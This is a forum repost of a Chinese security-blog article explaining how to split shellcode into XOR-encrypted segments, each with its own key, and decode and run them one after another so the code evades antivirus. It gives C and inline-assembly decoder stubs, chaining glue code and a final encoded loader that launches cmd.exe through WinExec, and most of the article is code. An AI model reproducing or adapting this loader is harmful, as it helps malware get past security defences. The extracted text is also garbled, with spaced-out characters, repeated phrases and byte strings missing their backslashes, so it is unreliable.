搜索

[15124] 2020-03-13_关于分段免杀执行的思考

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-03-13_关于分段免杀执行的思考 关 于 分 段 免 杀 执 行 的 思 考 原 创   好 好 学 习 e r   F r e e B u f   2 0 2 0 - 0 3 - 1 3 我 们 在 写 我 们 在 写 s h e l l c o d e 时 候 ， 做 分 段 免 杀 执 行 时 ， 如 何 做 到 边 解 码 然 后 执 行 再 调 用 解 码 ， 解 码 后 再 执 行 ？ 就 是 分 段 执 行 而 且 解 密 的 密 钥 时 候 ， 做 分 段 免 杀 执 行 时 ， 如 何 做 到 边 解 码 然 后 执 行 再 调 用 解 码 ， 解 码 后 再 执 行 ？ 就 是 分 段 执 行 而 且 解 密 的 密 钥 是 不 一 样 的 ， 对 于 这 个 问 题 ， 我 们 应 该 想 想 这 三 个 问 题 。 是 不 一 样 的 ， 对 于 这 个 问 题 ， 我 们 应 该 想 想 这 三 个 问 题 。 1 、 如 何 写 出 通 用 的 解 码 子 ？ 2 、 如 何 才 能 调 到 解 码 子 的 解 码 部 分 首 地 址 ？ 3 、 如 何 才 能 跳 到 刚 解 码 的 s h e l l c o d e 首 地 址 ？ 这 三 个 问 题 想 明 白 了 ， 就 能 实 现 了 下 面 我 们 利 用 x o r 用 不 同 秘 钥 加 密 弹 出 c m d 程 序 来 说 明 0 x 0 0 写 出 我 们 的 程 序 写 出 我 们 的 程 序 0 x 7 7 3 1 d a b 0 是 w i n e x e c 函 数 地 址 0 x 0 1   转 成 转 成 s h e l l c o d e 形 式 形 式 运 行 看 一 下 能 不 能 执 行 # i n c l u d e   " s t d i o . h " # i n c l u d e   " w i n d o w s . h " # i n c l u d e   < s t r i n g . h > # i n c l u d e   " s t d l i b . h " i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {               c h a r   * s t r = " c m d . e x e " ;     _ _ a s m {                             m o v   e a x , s t r                             p u s h   5                                                   ; 5 = S W _ S H O W                             p u s h   e a x                             m o v   e a x , 0 x 7 7 3 1 d a b 0                             / / 0 x 7 7 3 1 d a b 0                             / / c a l l   d w o r d   p t r   [ W i n E x e c ]                             c a l l   e a x               }               r e t u r n   0 ; } # i n c l u d e   " s t d i o . h " # i n c l u d e   " w i n d o w s . h " # i n c l u d e   < s t r i n g . h > # i n c l u d e   " s t d l i b . h " c h a r   s h e l l c o d e [ ] = " x 8 B x 4 5 x F c x 6 A x 0 5 x 5 0 x B 8 x B 0 x D A x 5 0 x 7 5 x F F x D 0 " ; i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {         c h a r   * s t r = " c m d . e x e " ;         _ _ a s m {                 l e a   e a x , s h e l l c o d e                 c a l l   e a x         }         r e t u r n   0 ; }
0 x 0 2   x o r 加 密 加 密 我 们 用 三 个 秘 钥 对 上 面 的 s h e l l c o d e 加 密 ， 值 分 别 为 0 x 5 1 , 0 x 4 7 , 0 x 8 1 ， 根 据 秘 钥 个 数 对 s h e l l c o d e 分 段 ， 分 成 三 段 ， 0 x 5 1 对 对 x 8 B x 4 5 x F c 加 密 ， 0 x 4 7 对 x 6 A x 0 5 x 5 0 x B 8 x B 0 x D A x 5 0 x 7 5 加 密 ， 0 x 8 1 对 x F F x D 0 加 密 （ 一 条 语 句 的 机 器 码 不 能 分 开 ） ， 在 每 段 后 面 加 上 x 9 0 ， 加 个 x 9 0 是 控 制 解 密 的 个 数 ， 这 样 我 们 可 以 想 解 密 到 哪 里 就 解 密 到 哪 里 ， 加 密 后 的 s h e l l c o d e 为 x d a x 1 4 x a d x c 1 x 2 d x 4 2 x 1 7 x f f x f 7 x 9 d x 1 7 x 3 2 x d 7 x 7 e x 5 1 x 1 1 0 x 0 3   写 出 通 用 的 解 码 子 写 出 通 用 的 解 码 子 利 用 b h 存 储 秘 钥 ， 通 过 解 密 出 来 的 b l 和 9 0 h 比 较 来 ， 如 果 解 密 出 来 是 9 0 h ， 停 止 解 密 ， 跳 到 e x e c t e 出 执 行 ， 最 后 返 回 ， 这 里 必 须 要 用 r e t ， 因 为 这 段 程 序 要 放 到 我 们 加 密 的 s h e l l c o d e 前 面 ， 如 果 没 有 r e t ， 程 序 将 去 执 行 s h e l l c o d e ， 而 后 面 还 有 s h e l l o c d e 将 不 会 解 密 ， 我 们 要 分 段 执 行 ， 所 以 解 密 之 后 我 们 还 要 回 到 原 来 调 用 解 密 的 地 方 ， 便 于 后 面 的 操 作 。 找 出 下 面 这 段 程 序 机 器 码 放 在 第 一 段 s h e l l c o d e 之 前 0 x 0 4   逻 辑 处 理 语 句 逻 辑 处 理 语 句 这 里 的 逻 辑 处 理 语 句 是 放 在 每 段 s h e l l c o d e 之 间 ， 做 到 存 储 和 取 解 码 子 的 解 码 部 分 首 地 址 ， 跳 到 刚 解 码 的 s h e l l c o d e 首 地 址 的 功 能 ， 并 且 能 够 修 改 秘 钥 值 。 d e c o d e :                         m o v   b l , b y t e   p t r   d s : [ e c x + e d x ]                 x o r   b l , b h                 m o v   b y t e   p t r   d s : [ e c x + e d x ] , b l                 i n c   e d x                 c m p   b l , 9 0 h                 j e   e x e c u t e                 j m p   d e c o d e e x e c u t e :                         a d d   e c x , e d x                 / / e c x 加 上 解 码 的 数 目                 r e t         _ _ a s m {                 x o r   e d x , e d x                 m o v   b h , 5 1 h                 / / b h 存 储 k e y d e c o d e :         m o v   b l , b y t e   p t r   d s : [ e c x + e d x ]                 x o r   b l , b h                 m o v   b y t e   p t r   d s : [ e c x + e d x ] , b l                 i n c   e d x                 c m p   b l , 9 0 h                 j e   e x e c u t e                 j m p   d e c o d e e x e c u t e :                         a d d   e c x , e d x                 / / e c x 加 上 解 码 的 数 目                 r e t         }         _ _ a s m {                 p u s h   e d x         / / 将 d e c o d e 首 地 址 也 入 栈                 a d d   e c x , 1 9         / / 这 个 是 让 e c x 的 值 等 于 下 一 个 s h e l l c d o e 首 地 址                 p u s h   e c x         / / 下 一 个 s h e l l c o d e 首 地 址 压 入 栈                 p u s h   e a x         / / 将 e a x 压 入 栈 中 （ 因 为 我 们 执 行 的 代 码 中 利 用 e a x 进 行 ， e a x 值 不 能 变 ）
每 次 执 行 完 解 码 后 的 s h e l l c o d e 都 会 来 执 行 这 段 语 句 ， e d x 存 放 解 码 子 的 首 地 址 ， c a l l   e a x 会 去 解 码 ， j m p   e b x 会 去 执 行 解 码 后 的 s h e l l c o d e 。 从 上 面 的 代 码 解 决 了 如 何 才 能 调 到 解 码 子 的 解 码 部 分 首 地 址 的 问 题 ， 通 过 一 开 始 找 到 解 码 的 首 地 址 ， 压 入 栈 ， 然 后 每 次 解 码 完 ， 都 弹 出 来 给 一 个 寄 存 器 ， 执 行 完 解 码 就 去 执 行 s h e l l c o d e ， 执 行 完 s h e l l c o d e 根 据 弹 出 来 的 解 码 首 地 址 ， 再 去 解 码 。 找 出 这 段 程 序 机 器 码 放 在 每 段 s h e l l c o d e 之 间 0 x 0 5   定 位 定 位 s h e l l c o d e 首 地 址 首 地 址 分 段 解 密 执 行 ， 我 们 知 道 各 段 s h e l l c o d e 的 首 地 址 是 不 同 的 ， 怎 么 才 能 够 找 到 能 各 段 的 s h e l l c o d e 首 地 址 呢 ？ 解 密 前 ， 我 们 把 下 一 个 要 解 密 的 s h e l l c o d e 首 地 址 压 入 栈 ， 在 执 行 c a l l   e a x 时 ， e c x 的 值 是 下 一 个 要 执 行 s h e l l c o d e 的 首 地 址 ， 解 码 子 里 有 a d d e c x , e d x ， 所 以 解 码 完 e c x 是 下 一 个 要 执 行 的 s h e l l c o d e 的 尾 地 址 再 加 1 ， 再 执 行 a d d   e c x , 1 9 ， 1 9 是 逻 辑 处 理 那 段 的 机 器 码 数 目 ， 之 后 e c x 就 是 下 下 个 要 执 行 的 s h l l c o d e 首 地 址 ， 再 通 过 出 栈 压 栈 ， 我 们 都 能 找 到 要 执 行 s h l l c o d e 首 地 址 0 x 0 6   最 终 程 序 最 终 程 序                 p u s h   e a x         / / 将 e a x 压 入 栈 中 （ 因 为 我 们 执 行 的 代 码 中 利 用 e a x 进 行 ， e a x 值 不 能 变 ）                 m o v   e a x , e d x         / / 将 d e c o d e 首 地 址 传 给 e a x                 x o r   e d x , e d x                 m o v   b h , 4 7 h         / / 第 二 段 k e y ， 各 段 s h e l l c o d e 的 k e y 不 同 ， 要 修 改                 c a l l   e a x                         p o p   e a x                 p o p   e b x                 / / s h e l l c o d e 首 地 址                 p o p   e d x                 / / d e c o d e 首 地 址                 j m p   e b x                 / / 到 s h e l l c o d e 出 执 行         } # i n c l u d e   " s t d i o . h " # i n c l u d e   " w i n d o w s . h " # i n c l u d e   < s t r i n g . h > # i n c l u d e   " s t d l i b . h " u n s i g n e d   c h a r   e n c o d e [ ] = " x 3 3 x D 2 x B 7 x 5 1 x 3 E x 8 A x 1 C x 1 1 x 3 2 x D F x 3 E x 8 8 x 1 C x 1 1 x 4 2 x 8 0 x F B x 9 0 x 7 4 x 0 2 x E B x E E x 0 3 x C A x C 3 " " x d a x 1 4 x a d x c 1 " " x 5 2 x 8 3 x C 1 x 1 3 x 5 1 x 5 0 x 8 B x C 2 x 3 3 x D 2 x B 7 x 4 7 x F F x D 0 x 5 8 x 5 B x 5 A x F F x E 3 " " x 2 d x 4 2 x 1 7 x f f x f 7 x 9 d x 7 6 x 3 0 x d 7 " " x 5 2 x 8 3 x C 1 x 1 3 x 5 1 x 5 0 x 8 B x C 2 x 3 3 x D 2 x B 7 x 8 1 x F F x D 0 x 5 8 x 5 B x 5 A x F F x E 3 " " x 7 e x 5 1 x 1 1 " ; i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {         c h a r   * s t r = " c m d . e x e " ;         _ _ a s m {                 l e a   e c x , e n c o d e                 / / 获 取 e n c o d e + s h e l l c o d e 编 码 的 地 址                 m o v   e d x , e c x                 a d d   e c x , 2 5                         / / e c x 存 储 第 一 个 s h e l l c o d e 首 地 址 ， 从 x o r   e d x , e d x 到 r e t ， 这 段 的 机 器 码                 p u s h   e c x                         / / 第 一 个 s h e l l c o d e 压 入 站 首 地 址                                         s u b   e c x , 2 1                         / / 解 码 d e c o d e 首 地 址 ， 2 1 第 一 个 s h e l l c o d e 到 解 码 的 机 器 码 数                 p u s h   e c x                         / / 压 入 栈                 a d d   e c x , 2 1                 c a l l   e d x                         / / 解 码                 p o p   e d x                                 / / 解 码 首 地 址                                         p o p   e b x                                 / / 第 一 个 s h e l l c c o d e 首 地 址                 j m p   e b x         }         r e t u r n   0 ; }
结 果 ： 程 序 在 开 始 时 候 ， 就 把 第 一 段 s h e l l c o d e 首 地 址 和 解 码 子 首 地 址 压 入 栈 ， 接 着 调 用 解 码 程 序 去 解 码 第 一 段 s h e l l c o d e ， 解 码 完 返 回 ， 接 着 弹 出 第 一 段 s h e l l c o d e 首 地 址 和 解 码 子 首 地 址 ， 利 用 j m p 去 执 行 解 码 后 的 第 一 段 s h e l l c o d e ， 执 行 完 ， 去 执 行 0 x 0 4 内 容 ， 根 据 弹 出 来 的 解 码 子 首 地 址 ， 再 去 解 码 第 二 段 s h e l l c o d e ， 然 后 执 行 ， 依 次 类 推 0 x 0 7   总 结 总 结 1 、 解 码 执 行 第 二 段 代 码 的 密 钥 在 第 一 段 里 面 2 、 利 用 好 r e t ， 解 码 后 返 回 3 、 多 利 用 p u s h ， p o p ， 比 如 s h l l c o d e 首 地 址 和 解 码 子 首 地 址 的 入 栈 、 出 栈 * 本 文 原 创 作 者 ： 好 好 学 习 本 文 原 创 作 者 ： 好 好 学 习 e r ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理